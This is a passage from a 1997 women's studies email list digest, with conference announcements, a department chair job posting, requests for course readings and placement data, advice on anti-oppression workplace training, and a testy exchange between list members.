Way, which I take to be one of the most difficult teaching challenges I face on a regular basis (i.e., how to compensate for this unfortunate fact, until it is no longer true). Respectfully, Ruth ginzberg@beloit.edu ************* Ruth Ginzberg *************** ========================================================================= Date: Wed, 17 Sep 1997 14:42:00 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: laura hudson Subject: Women's Music Conference Comments: To: fah@bbw.mediamasters.com Comments: cc: IAWM@ACUVAX.ACU.EDU MIME-version: 1.0 Content-type: text/plain; charset=""us-ascii"" Content-transfer-encoding: 7BIT Women Make Music in the Hills of Southeastern Ohio Athens, OH--The Women's Studies Program and the School of Music at Ohio University will be hosting a nationwide, interdisciplinary conference in October featuring world-renown composers, musicologists, and women's studies scholars. ""Women in Music: A Celebration of the Last One Hundred Years,"" an academic/performance conference, will be held Thursday, October 23, 1997, through Sunday, October, 26, 1997, in Athens, Ohio, and will feature scholarly/musical presentations on a variety of themes and topics in the area of women in music. The conference will feature award-winning composer Joan Tower, whose bold, energetic music has won her huge audiences, and composer Judith Lang Zaimont, internationally recognized for her dramatic and vibrant works. The conference will include papers on and presentations of the work of both composers. Susan Cook, coauthor of Cecelia Reclaimed: Feminist Perspectives on Gender and Music, and now researching Billie Holliday, will be speaking as will noted musicologist and writer Elizabeth Wood, biographer of suffragist and composer Ethel Smyth. All four women will be present at the closing panel on Sunday. There will also be evening entertainment by Diva: No Man's Band (a New York City-based all-woman Big Band); Mexican American singer and songwriter Tish Hinajosa; the highly acclaimed Lark String Quartet; and the Local Girls, a vocal swing trio. Some of these performers will also conduct workshops during the conference. Aileen Hall, director of the Ohio University Women's Stuides Program, noted that registration data reflect the wide variety of people attending the conference. ""Not only is the conference attracting women's studies and music students, but it is also appealing to people interested in music production, performance, and comparative arts. For example, we will have papers on women in rock n roll, the operatic efforts of Gertrude Stein, band music by women, the work of Joan Tower, Dolly Parton, and women as performers and consumers."" She added that the conference will be looking at the nature of women's impact on music and the difference, if any, that gender makes. Dr. Hall said that ""the range of compositions is impressive. For example, we will have piano music of American women composers; a session on extended vocal techniques; poems set to music; and lecture-recitals on the music of Tania Leon, Rebecca Clarke, and many others. Best of all, we will have composers who will be present when their compositions are performed, many for the first time."" ""We also expect,"" she noted, ""that the conference offerings will showcase the students and faculty at the School of Music and will contribute to encouraging interdisciplinary scholarship, particularly between the humanities and fine arts."" Richard Linn, a violinist-conductor, is serving as the conference coordinator. Dr. Linn said that ""the conference is unique in that it will bring together people with quite varied interests--all, in some way, related to the status of women in music. We are providing a forum for performing artists and composers to meet those with scholarly interests, thereby presenting a more complete picture of women and their role in the past, present, and future of music."" Preregistration for the October conference is strongly encouraged. Fees include one-day rates, and a full conference package includes evening entertainment. The fee for university faculty rate is $45.00 for the entire conference (includes daytime events only), and students, who also must register, will be admitted free to daytime events. To register, contact the Women in Music Conference, Office of Continuing Education, Ohio University, 102 Haning Hall, Athens, OH 45701. The entire conference program will be available on the women in music conference web page: http://ouvaxa.cats.ohiou.edu/~hudsonl/music.html. You may also contact the Women's Studies Program at wsdept@cats.ohiou.edu or 614-593-4686 or write Richard Linn or Aileen Hall, Women in Music Conference, Womens' Studies Program, Ohio University,001 President Street Academic Center, Athens, Ohio 45701. For further information, contact Richard Linn, conference coordinator, (614) 593-0965. ========================================================================= Date: Wed, 17 Sep 1997 13:32:04 CST Reply-To: Women's Studies List Sender: Women's Studies List From: Jane Olmsted Subject: Judy Chicago in Kentucky This is a reminder that Judy Chicago will be presenting a slide show and lecture at Western Kentucky University in Bowling Green on Thursday, September 25, 8 p.m. VanMeter Auditorium (located at the top of the hill on campus) Her lecture is titled ""Awakening through Art: from 'The Dinner Party' to 'Holocaust Project.'"" Posters and books, postcards and notecards will be on sale after the lecture. Chicago will be available to sign books and posters at that time. If you need directions, let me know. Jane Olmsted Assistant Director, Women's Studies Assistant Professor, English (502) 745-5787 ========================================================================= Date: Wed, 17 Sep 1997 16:39:54 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Cynthia Deitch Subject: women's leadership conference (fwd) Comments: cc: cawslg@lists.umbc.edu MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I am posting this for Suzanne Hyers of the National Council for Research on Women. She indicated that my posting their conference last June on WMST-L was their most successful outreach vehicle, and she asked me to post this upcoming conference. Please DO NOT reply to me. -- Cynthia Deitch ---------- Forwarded message ---------- Date: Wed, 17 Sep 1997 13:50:20 -0500 From: ""Suzanne L. Hyers"" To: deitch@gwis2.circ.gwu.edu Subject: hello and request to use listserv The Program on the Status and Education of Women at the Association of American Colleges and Universities, in collaboration with the American Council on Education*s Office of Women in Higher Education, NAWE: Advancing Women in Higher Education, and HERS, Mid-America, is pleased to announce the following conference: Women*s Leadership: Changing Concepts of Power Washington, DC: November 13-15, 1997 Description and Rationale: Emerging in many different locales, women leaders are visible on every college campus. As presidents, academic and student affairs leaders, and chairs of departments; as heads of faculty senates and unions and members of women*s commissions; as directors of women*s studies programs and of research institutes; in finance, admissions and athletics. Their presence has been critical to higher education and its renewal. How have academic women used power and how have they come to reconceptualize the meaning of leadership and power? What difference has women*s leadership made in shaping how we do business on a campus or in the world at large? What policies and practices are necessary to sustain women and their contributions to institutional development? How have men been important allies in promoting women as leaders? What new understandings about our interconnections across differences must all leaders in higher education cultivate if we are to create vibrant, robust communities in our increasingly diverse world? We invite researchers, women in leadership positions, and those men and women interested in promoting, sustaining, and enlarging the role of women in leadership positions to join us in discussing these questions. We also encourage institutions to bring a team of leaders from different positions within the academy and use the conference as an opportunity for strategic planning for your institution. We welcome student participation and offer a special $50 student registration rate. Designed to be conceptual, practical, and research-based, the conference is one of a series of events scheduled during Women*s Leadership Month (see below). What you will gain from attending the conference: * How to think about leadership in a broader sense * How to maximize your personal potential * How to connect to national networks of women leaders * How to shape policies and practices to sustain women leaders in their work * How to develop a diverse network of supportive advocates and allies Conference Leaders Caryn McTighe Musil is the former Executive Director of the National Women*s Studies Association and the current Director of AAC&U*s Program on the Status and Education of Women. Donna Shavlik is the Co-Founder of the American Council on Education*s National Identification Program (ACE/NIP) and is Director of ACE*s Office of Women in Higher Education. Judy Touchton is the director of the ACE/NIP National Network for Women Leaders and is Deputy Director of ACE*s Office of Women in Higher Education. Lynn Gangone is Executive Director of NAWE: Advancing Women in Higher Education Cynthia Secor is Executive Director of HERS, Mid-America. IMPORTANT DEADLINE Hotel Washington Please make reservations by October 13, 1997, and mention AAC&U 15th Street and Pennsylvania Avenue, NW Washington, DC 800-424-9540 / 202-638-5900 $108 single/double Located one block from the White House. To receive a preliminary program and registration materials, please contact AAC&U at the following address: AAC&U, Network for Academic Renewal, 1818 R Street, NW, Washington, DC 20009; phone: 202-387-3760; email: meetings@aacu.nw.dc.us; or check AAC&U*s website at: www.aacu-edu.org Events for Women*s Leadership Month Institute for Emerging Women Leaders in Higher Education November 8-11, 1997 University of Maryland, University College Conference Center Sponsored by the NAWE: Advancing Women in Higher Education and endorsed by the ACE Office of Women in Higher Education, the ACE-NIP National Network for Women Leaders and HERS Mid-America. For additional information, please contact NAWE at 202-659-9330 (phone), 202-457-0946 (fax) or email: nawe@clark.net. HERS/New England Management Institute Seminar November 21-22, 1997 Wellesley College For more information about HERS, Mid-America and HERS, New England and this Seminar, please contact: Susan Knowles, HERS, New England, Cheever House, Wellesley College, Wellesley, MA 02181-8259; 617-283-2529; email sknowles@wellesley.edu ========================================================================= Date: Wed, 17 Sep 1997 15:59:43 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Erin A Smith Subject: WS Grads Placement Statistics MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII We are in the process of instituting a gender studies major at the University of Texas at Dallas. In order to make a case for the major to various state boards that must approve it, we are looking for job placement statistics for women's/gender studies graduates. We need to make the case that such graduates are, in fact, employable to win the votes we need to get the program approved. NWSA does not keep these statistics. If your program keeps these kinds of records and you would be willing to share them, please contact me off-list. Thanks, Erin Smith erins@utdallas.edu Erin Smith, PhD Assistant Professor of American Studies Phone: (972) 883-2338 School of General Studies Fax: (972) 883-2440 University of Texas at Dallas e-mail: erins@utdallas.edu P. O. Box 830688 GR26 Richardson, TX 75083-0688 ========================================================================= Date: Wed, 17 Sep 1997 16:10:32 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Erin A Smith Subject: History of women & education in America MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII I am putting together an interdisciplinary course for advanced undergraduates on gender and education in the spring. I am looking for a readable, one-volume history of women and education in America (if such a thing exists!). I am familiar with Barbara Solomon's _In the Company of Educated Women_, Linda Gordon's work on higher education in the progressive era, and Helen Horowitz' work on women's colleges. Is there good historical work on primary/secondary education for women? I am also drowning in essay collections on this topic. If you have taught with one you thought worked particularly well, could you send the title and the reasons you liked it my way off-list? I'd be happy to send a summary to the list if there's interest. Thanks, Erin Smith erins@utdallas.edu Erin Smith, PhD Assistant Professor of American Studies Phone: (972) 883-2338 School of General Studies Fax: (972) 883-2440 University of Texas at Dallas e-mail: erins@utdallas.edu P. O. Box 830688 GR26 Richardson, TX 75083-0688 ========================================================================= Date: Wed, 17 Sep 1997 18:41:55 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Carole E. Adams"" Subject: First CFP: Women/ Material Worlds Comments: cc: park shelley , leckie shirley , frederickson In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The History Department and the Women's Studies Program of the University of Central Florida is joining with the Orange Country Historical Museum to sponsor a conference in October 1998. The conference will be held at the Museum, and is planned to begin on a Thursday evening and run through Sunday morning. This interdisciplinary history conference will be entitled Florida Women in Their Material Worlds. The conference focuses on the experiences of women in Florida, from pre-conquest to the present, and offers much of interest to both scholars and practitioners throughout Florida. We hope to have a wide range of participants. Those attending will not only discuss cutting-edge work in scholarly and teaching fields, but will also have time for networking and exchanging ideas within affinity groups. We offer a special invitation to teachers to attend on Saturday, a day on which we plan to emphasize sessions relevant to teaching Florida history and social studies. We also hope to provide a free workbook for teachers. We welcome proposals that address themes such as the following: the place of women and gender in Florida history, including pre-contact and during Spanish rule the Florida/ southern home and the material worlds of women the Florida/ southern frontier, Native Americans and settlers, and the material worlds of women changing economic circumstances and roles of Florida women and men interacting with the Florida environment and geography photographs and poster displays as a means of capturing womens material worlds teaching women and gender in school Florida history courses gender, race, and ethnicity in Florida history race, ethnicity, class, and gender in the transformation of Florida/ South after World War II womens rights and civil rights women, literature, and their material worlds in Florida and the south. We welcome comparative papers and multi-media presentations, including photo and poster displays and artifacts. We welcome individual submissions as well as suggestions for complete panels, and we welcome nominations for panel chairs and discussants. Except for multi-media presentations, we expect each speaker to limit comments to 20 minutes (12 pp.). Selected papers from the conference will be published. We urge all persons interested in participating to contact us. For information or to submit a proposal, please contact Ms. Kerry Kennedy at the Orange County Historical Museum, 812 E. Rollins St., Orlando, FL, 32803; telephone 407-897-6350. ========================================================================= Date: Wed, 17 Sep 1997 18:53:05 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Mary Ann Drake Subject: Re: WS Grads Placement Statistics In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Please reply to the list. I will be facing this issue at my school in a few years and this information would be helpful to me too. Thanks, Peace, Mary Ann Drake ddrake_mylink.net At 03:59 PM 9/17/1997 -0400, you wrote: >We are in the process of instituting a gender studies major at the >University of Texas at Dallas. In order to make a case for the major >to various state boards that must approve it, we are looking for >job placement statistics for women's/gender studies graduates. We need >to make the case that such graduates are, in fact, employable to win >the votes we need to get the program approved. NWSA does not keep >these statistics. If your program keeps these kinds of records and you >would be willing to share them, please contact me off-list. > >Thanks, > >Erin Smith >erins@utdallas.edu > >Erin Smith, PhD >Assistant Professor of American Studies Phone: (972) 883-2338 >School of General Studies Fax: (972) 883-2440 >University of Texas at Dallas e-mail: > erins@utdallas.edu >P. O. Box 830688 GR26 >Richardson, TX 75083-0688 > > ========================================================================= Date: Wed, 17 Sep 1997 19:30:02 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Cheryl Van Daalen-Smith Subject: Re: Anti oppression training in the workplace In-Reply-To: <199709170424.AAA09077@tortoise.oise.utoronto.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I am on an internal committee at my Health Department(at which I am a community health nurse), called Together Against Oppression. Last year we put on a senior staff sanctioned mandatory workshop on homophobia and heterosexism. I could say alot about that, but the point of this request for input is now we are planning to do antioppression/diversity training ... sort of like oppression 101. Has anyone done this kind of work? What works best? I'm stressing over the thought of a workshop, we all know that this does little if anything to enable attitudinal shifts. The audience would be community health nurses, health inspectors, community development workers, health promoters, supervisors, and support staff. The primary audience is baccalaureate prepared nurses. Any guidance, insights , suggestions, and direction would be helpful. Thankyou in advance, Cheryl. ========================================================================= Date: Wed, 17 Sep 1997 16:58:12 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: lisbeth gant stevenson Subject: Re: intermarriage Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Does your student really mean 'interracial' marriage? Have you tried Census reports or Facts on File at your library's reference desk? >I find this a troubling question. What do you mean by ethnic? Marriage >between Irish and Italians? > >michelle moravec wrote: >> >> Hi, >> >> One of the students in my class on ethnic literature of America asked a >> question last week about rates of inter-marriage between people of different >> ethnicities. She also wanted to know statistics about frequency of >> inter-ethnic marriage between various ethnic groups. I'm not sure where to >> find this information. >> >> Thanks >> >> Michelle Moravec >> Mount St. Mary's College >> mmoravec@ucla.edu > > ========================================================================= Date: Wed, 17 Sep 1997 21:09:20 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Barbara Taylor Subject: Re: Anti oppression training in the workplace In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" The National Coalition Building Institute does good workshops and train-the-trainer sessions that start from the ways in which each of us feels different and, as a result, sometimes oppressed. Their exercises are non-threatening but powerful. Theor phone # is (202) 785-9400. At 07:30 PM 9/17/97 -0400, you wrote: > I am on an internal committee at my Health Department(at which I >am a community health nurse), called Together Against Oppression. Last >year we put on a senior staff sanctioned mandatory workshop on homophobia >and heterosexism. I could say alot about that, but the point of this >request for input is now we are planning to do antioppression/diversity >training ... sort of like oppression 101. Has anyone done this kind of work? >What works best? I'm stressing over the thought of a workshop, we all >know that this does little if anything to enable attitudinal shifts. The >audience would be community health nurses, health inspectors, community >development workers, health promoters, supervisors, and support staff. >The primary audience is baccalaureate prepared nurses. > > Any guidance, insights , suggestions, and direction would be helpful. >Thankyou in advance, Cheryl. > Barbara G. Taylor bt24761@uafsysb.uark.edu Associate Vice Chancellor for Human Resources University of Arkansas, 222 Administration Building Fayetteville, AR 72701 (501) 575-2158 (501) 575-6971 FAX ========================================================================= Date: Thu, 18 Sep 1997 08:24:49 -0300 Reply-To: Women's Studies List Sender: Women's Studies List From: Monica Tarducci Subject: Re: Latin America/Sexuality MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit ---------- > > Rosemary Gibney > Teaching and Research Fellow > Women's Education Research and Resource Centre (WERRC) > University College Dublin > Ireland Estimada Rosemary: de acuerdo a tu mensaje, te envio esta informaciion Monica Tarducci ESTUDIOS QUEER EN BUENOS AIRES Comenzara a funcionar este mismo sabado el Area de Estudios Culturales Queer y Multiculturalismo del Centro Cultural R. Rojas de la Universidad de Buenos Aires. Como respuesta a una sociedad patriarcal que impone la normativizacion de los individuos y a una politica gay lesbica que propone la asimilacion e integracion a esa cultural a traves de un reformismo conformista, surge la teoria politica/cultural queer. Esta teoria propone la construccion de una nueva cultura a traves de un discurso confrontativo que cuestiona al sistema patriarcal desde sus axiomas. Se~nala la necesidad de crear nuevas formas de relacion basadas en la libertad y la celebracion de las diferencias originadas por el deseo erotico y la identidad sexual y generica, entre otras. De la misma manera, el multiculturalismo propone una sincera valoracion igualitaria de las diferentes culturas raciales y Thetatnicas que implique no solo el respeto de las mismas sino tambiThetan el festejo por su rica diversidad. Abriremos este espacio con la presencia de David William Foster, de la Universidad del Estado de Arizona (EEUU) quien nos expondra su trabajo: ""Homoeroticas: Teoria y Aplicaciones"". ""Si el patriarcado y su ideologia dominante, el heterosexismo compulsivo, se fundamentan en esquemas promulgados como universales y sempiternos, le incumbe a lo queer manejar una etica del conocimiento que admita la mas amplia variedad posible de interpretaciones y de elaborar modelos de conocimiento que puedan romper con el autoritarismo, tanto el epistemologico como el sociopolitico (anverso y reverso de la misma moneda en cuanto a como se sustentan mutuamente). Conformarse con las limitaciones en cuanto a lo que se puede conocer y prescindir de las tecnologias de control que permite el sistema patriarcal, sin principios claros de lo queer. [...] La division social entre hombres y mujeres, entre cuerpos masculinos y femeninos, responde indudablemente a caracteristicas biologicas, las que, si no son siempre tan determinantes como se quiciera pensar, sirven grosso modo para una clasificacion ajustada a criterios de los cuerpos. Esta division responde, tambien, indudablemente, a las necesidades de la reproduccion biologica. Lo que no queda claro es por que esta division tiene que ser la base de toda la organizacion social ..., lo queer se preocupa por las razones por las cuales cada espera de la sociedad tiene que ser organizada desde la optica de una diferenciacion que solo propicia la reproduccion, por que cualquier desviacion de este sistema taxonomico se considera una perversion, y como podrian ser las relaciones entre los cuerpos si el rasgo distintivo de lo reproductivo no fuera basico y se cediera ante otros posibles sistemas de clasificacion del cuerpo o si se suspendiera estrategicamente el imperativo de las clasificaciones. La division hegemonica entre hombres y mujeres es un hecho ideologico que lo queer no puede dejar de tomar en cuenta. Hace falta incluso apoyar tal division respecto de ciertos dominios de la teorizacion y de la praxis social. Por ejemplo, es incuestionable que los hombres gay y las mujeres lesbianas no comparten la misma historia mas alla del punto de referencia basico de su opresion sangrienta. Se puede insistir en que ""la lesbiana no es una mujer"" (Monique Wittig) a los efectos de recalcar como ""hombre"" y ""mujer"" son constructos del patriarcado y como la definicion del patriarcado de la lesbiana va siempre en su desmedro. Pero la sociedad trata a las lesbianas como mujeres, con toda la discriminacion a la que se somete a estas. Y, despues de todo, la sociedad trata a los hombres gay como a hombres, con el poder relativo superior que tiene el hombre. Es util debatir en torno a quienes sufren mas represiones, los hombres gay o las lesbianas, pero queda fuera de duda que la mujer siempre ocupa una posicion de relativa inferioridad, y una meditacion sobre como las arbitrariedades de la division sexual no puede, con todo, hacer caso omiso a este hecho historico."" David William Foster , ""Produccion Cultural e Identidades Homoeroticas: Teoria y Aplicaciones."" (1995). Las y los esperamos este sabado a las 16 horas, en el Centro Cultural R. Rojas, para escuchar y debatir esta propuesta teorica . Festejaremos la inaguraci'on del Area el dia 27 de junio con una Maraton de Cine Lesbico-Gay, una exposicion de fotografia de travestis y una fiesta que duraran toda la noche hasta la ma~nana del dia 28 de junio, Dia Internacional del Orgullo Lesbico Gay Travesti Transexual Bisexual. Estan todas y todos invitados/as! Area de Estudios Culturales Queer y Multiculturalismo Para mas informacion escribir a: queer@artemis.wamani.apc.org ------------- < Fin - End > ========================================================================= Date: Wed, 17 Sep 1997 21:16:43 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Farr, Marie"" Subject: FW: Department Chair Job Announcement Comments: cc: ""Caston, Richard J."" MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable > ---------- > From: Farr, Marie > Sent: Tuesday, September 16, 1997 3:18PM > To: 'WMST-L@UMDD.UMD.EDU' > Cc: Caston, Richard J. > Subject: Department Chair Job Announcement >=20 > I have been asked by the chair of our search committee to post the > following job announcement for chair of the English Department. The > reason I'm posting this to the list is that historically East = Carolina > University's Women's Studies Program (which has an undergraduate = major > and undergraduate and graduate minors) has had a close relationship > with the department, including co-sponsorship of speakers, > departmental faculty teaching in WS, etc. =20 >=20 > --Marie Farr > English, East Carolina University > Greenville, NC 27858 > email FARRM@MAIL.ECU.EDU >=20 >=20 > Chair, Department of English >=20 > =09 > Applications are invited for the position of chair of the Department > of English at East Carolina University, effective August 1998. =20 >=20 > The candidate should be aware of current developments in the > discipline. The successful candidate will be charged with guiding = the > continuing development of a large and diverse department with a > faculty of 71 members, including 49 tenured and tenure-track faculty. > The department has a broad range of master's level and undergraduate > programs in English and American literature, multicultural = literature, > rhetoric and composition, creative writing, business and professional > writing, English education, linguistics, and teaching English as a > second language. The department hopes to develop one or more > interdisciplinary doctoral programs. >=20 > With an enrollment of 17,500, East Carolina University is the third > largest of the 16 campuses in the University of North Carolina = system. > The university consists of a College of Arts and Sciences and 11 > professional schools, including a nationally recognized school of > medicine.=20 >=20 > Field of specialization open; appointment expected at rank of tenured > full professor; competitive salary. Requirements include: (1) a > Ph.D., (2) significant administrative experience at the departmental > level or equivalent, (3) the leadership and interpersonal skills > required to guide and develop a large and diverse department = including > the possible development of new doctoral programs, (4) evidence of > excellence in graduate and undergraduate teaching, and (5) a record = of > significant scholarly publications.=20 >=20 > Send letter of application describing qualifications and reasons for > seeking the position; vita; and three current letters of > recommendation to Professor Richard Caston, Chair Search Committee, > Department of English, East Carolina University, Greenville, NC > 27858=A94353. Position open until filled; screening begins November = 5, > 1997. >=20 > An Equal Opportunity/Affirmative Action University. Accommodates > individuals with disabilities. Applicants must comply with the > Immigration Reform and Control Act. Official transcripts are required > upon employment. >=20 >=20 >=20 >=20 ========================================================================= Date: Thu, 18 Sep 1997 07:52:30 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Claire O'Brien Subject: Chicana feminisms/assumptions Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Chelsea Starr is right on the money! I am increasingly disturbed by the extent to which people demonstrate both a careless reading of a post, and a willingness to use a few key phrases as a jumping-off point from which to launch their own agendas. It's disrepectful to the original poster. Chelsea's point about at least changing the heading to reflect an essentially new thread is well-taken. And Daphne's skill at distorting the meaning of a post never surprises me as much as does the fact that people continue to fall for it. I can see it now, in a future book, something along the lines of "" Women's studies faculty routinely sacrifice scholarly rigor in the interests of political correctness. Under intense pressure to ""teach inclusively"", teachers prepare for ""multi-cultural approaches"" by hastily adding articles culled from last-minute e-mail posts."" Or something along those lines. Let's please read one another's words as carefully as we expect our students to read. Claire O'Brien, ABD Department of History Southern Illinois University ========================================================================= Date: Thu, 18 Sep 1997 09:02:45 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: DAPHNE PATAI Subject: reading carefully or selectively?? Comments: cc: DAPHNE PATAI In-Reply-To: MIME-version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit Claire wrote:> > Chelsea Starr is right on the money! I am increasingly disturbed by the > extent to which people demonstrate both a careless reading of a post, and a > willingness to use a few key phrases as a jumping-off point from which to > launch their own agendas. It's disrepectful to the original poster. > Chelsea's point about at least changing the heading to reflect an > essentially new thread is well-taken. And Daphne's skill at distorting the > meaning of a post never surprises me as much as does the fact that people > continue to fall for it. I can see it now, in a future book, something > along the lines of "" Women's studies faculty routinely sacrifice scholarly > rigor in the interests of political correctness. Under intense pressure to > ""teach inclusively"", teachers prepare for ""multi-cultural approaches"" by > hastily adding articles culled from last-minute e-mail posts."" > > Or something along those lines. > Let's please read one another's words as carefully as we expect our > students to read. > > Claire O'Brien, ABD > Department of History > Southern Illinois University > Why are Claire'simagined lines not, in fact, an accurate description of the problem I was attempting to call attention to? Are people pretending this does not in fact happen? As for reading carefully, by now it seems to have become official that I did indeed suppose that the original poster was not even going to READ the material suggested to her by the list. That thought never crossed my mind and was definitely NOT in my original response. Claire's posting has helped the discussion descend further toward personal attacks. Another fine moment in the history of feminist debates about serious issues such as the nature of women's studies pedagogy. Daphne -- ====================== Daphne.Patai@spanport.umass.edu ========================================================================= Date: Thu, 18 Sep 1997 09:41:14 -0400 Reply-To: ""jgrant@tui.edu"" Sender: Women's Studies List From: Jaime Grant Organization: The Union Institute Subject: Re: Anti oppression training in the workplace I want to put in my $.02 on the National Coalition Building Institute. I've been a part of their anti-oppression trainings and I find their approach problematic. Their exercises are non-threatening because they fail to do a power analysis of oppression. So the message is 'we are all hurt by oppression and we're one big human family' rather than 'those of us in positions of power have a special responsibility to end sexism, racism, homophobia, etc. I find their approach very undermining in settings where an accountability process has begun with those in power - Suzanne Pharr's book, Homophobia, A Weapon of Sexism offers good consciousness-raising exercises on sexism, racism and homophobia. Also Margo Adair has a book out whose title I can't remember. Good luck! Jaime -----Original Message----- From: Barbara Taylor [SMTP:bt24761@UAFSYSB.UARK.EDU] Sent: Wednesday, September 17, 1997 9:09 PM To: WMST-L@UMDD.UMD.EDU Subject: Re: Anti oppression training in the workplace The National Coalition Building Institute does good workshops and train-the-trainer sessions that start from the ways in which each of us feels different and, as a result, sometimes oppressed. Their exercises are non-threatening but powerful. Theor phone # is (202) 785-9400. At 07:30 PM 9/17/97 -0400, you wrote: > I am on an internal committee at my Health Department(at which I >am a community health nurse), called Together Against Oppression. Last >year we put on a senior staff sanctioned mandatory workshop on homophobia >and heterosexism. I could say alot about that, but the point of this >request for input is now we are planning to do antioppression/diversity >training ... sort of like oppression 101. Has anyone done this kind of work? >What works best? I'm stressing over the thought of a workshop, we all >know that this does little if anything to enable attitudinal shifts. The >audience would be community health nurses, health inspectors, community >development workers, health promoters, supervisors, and support staff. >The primary audience is baccalaureate prepared nurses. > > Any guidance, insights , suggestions, and direction would be helpful. >Thankyou in advance, Cheryl. > Barbara G. Taylor bt24761@uafsysb.uark.edu Associate Vice Chancellor for Human Resources University of Arkansas, 222 Administration Building Fayetteville, AR 72701 (501) 575-2158 (501) 575-6971 FAX ========================================================================= Date: Thu, 18 Sep 1997 09:26:28 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Chrys Ingraham Subject: Re: Anti oppression training in the workplace Comments: To: Barbara Taylor In-Reply-To: <3.0.1.16.19970917200924.39cf828a@uafsysb.uark.edu> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The Allies Center for the Study of Difference and Conflict at Russell Sage College also provides training. Ctc: 518-270-2008. On Wed, 17 Sep 1997, Barbara Taylor wrote: > The National Coalition Building Institute does good workshops and > train-the-trainer sessions that start from the ways in which each of us > feels different and, as a result, sometimes oppressed. Their exercises are > non-threatening but powerful. Theor phone # is (202) 785-9400. > > At 07:30 PM 9/17/97 -0400, you wrote: > > I am on an internal committee at my Health Department(at which I > >am a community health nurse), called Together Against Oppression. Last > >year we put on a senior staff sanctioned mandatory workshop on homophobia > >and heterosexism. I could say alot about that, but the point of this > >request for input is now we are planning to do antioppression/diversity > >training ... sort of like oppression 101. Has anyone done this kind of work? > >What works best? I'm stressing over the thought of a workshop, we all > >know that this does little if anything to enable attitudinal shifts. The > >audience would be community health nurses, health inspectors, community > >development workers, health promoters, supervisors, and support staff. > >The primary audience is baccalaureate prepared nurses. > > > > Any guidance, insights , suggestions, and direction would be helpful. > >Thankyou in advance, Cheryl. > > > > > Barbara G. Taylor bt24761@uafsysb.uark.edu > Associate Vice Chancellor for Human Resources > University of Arkansas, 222 Administration Building > Fayetteville, AR 72701 > (501) 575-2158 (501) 575-6971 FAX > ========================================================================= Date: Thu, 18 Sep 1997 09:54:18 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: laura jeanne lefave Subject: Ottinger Films Comments: cc: lesbian-studies@QueerNet.ORG Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable bonjour, i'm trying to constitute a feminist filmography and having difficulty locating the films themselves. i was specifically interested in the work of Ulrike Ottinger. does anyone know if these films are available through distribution in North America? the titles that most interest me at the moment are: Bildnis einer Trinkerin (1979) (english title is Ticket of No Return) Joanna D'Arc of Mongolia =46reak Orlando Madame X merci de votre attention, laura jeanne lefave Universit=E9 du Qu=E9bec =E0 Montr=E9al =E9tudiante =E0 la Ma=EEtrise en arts plastiques ljlflux@cam.org http://www.studioxx.org/night_light/transmission/tr_artp4.htm =09 ========================================================================= Date: Thu, 18 Sep 1997 11:00:52 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Aine Humble Organization: University of P.E.I. Subject: inclusive definition MIME-version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT > I've been asked to provide an inclusive definition of family for a state-level > feminist organization to use in hiring/employee benefits policies. Anyone > knowing of domestic partner or inclusive family definitions that have been > developed, please respond privately. Thanks. I'm replying to the list, as I think others might be interested in this also. The Vanier Institute of the Family (a nonprofit organization in Canada) developed the following ""working definition"" of a family in 1992: Any combination of two or more persons who are bound together by ties of mutual consent, birth, and/or adoption/placement and who, together, assume responsibilities for variant combinations of some of the following: physical maintenance and care of group members; addition of new members through procreation or adoption; socialization of children; social control of members; production, consumption, and distribution of goods and services; and affective nuturance. Aine ______________________________ Aine M. Humble, PHEc, MSc (FLE) Lecturer (Family Studies), Home Economics Department University of PEI, 550 University Avenue Charlottetown, PEI, C1A 4P3 phone: (902) 566-0528 fax: (902) 628-4367 email: ahumble@upei.ca ========================================================================= Date: Thu, 18 Sep 1997 10:20:31 -0400 Reply-To: ""jgrant@tui.edu"" Sender: Women's Studies List From: Jaime Grant Organization: The Union Institute Subject: Re: reading carefully or selectively?? Oh, Daphne Give it a rest. J. -----Original Message----- From: DAPHNE PATAI [SMTP:daphne.patai@SPANPORT.UMASS.EDU] Sent: Thursday, September 18, 1997 9:03 AM To: WMST-L@UMDD.UMD.EDU Subject: reading carefully or selectively?? Claire wrote:> > Chelsea Starr is right on the money! I am increasingly disturbed by the > extent to which people demonstrate both a careless reading of a post, and a > willingness to use a few key phrases as a jumping-off point from which to > launch their own agendas. It's disrepectful to the original poster. > Chelsea's point about at least changing the heading to reflect an > essentially new thread is well-taken. And Daphne's skill at distorting the > meaning of a post never surprises me as much as does the fact that people > continue to fall for it. I can see it now, in a future book, something > along the lines of "" Women's studies faculty routinely sacrifice scholarly > rigor in the interests of political correctness. Under intense pressure to > ""teach inclusively"", teachers prepare for ""multi-cultural 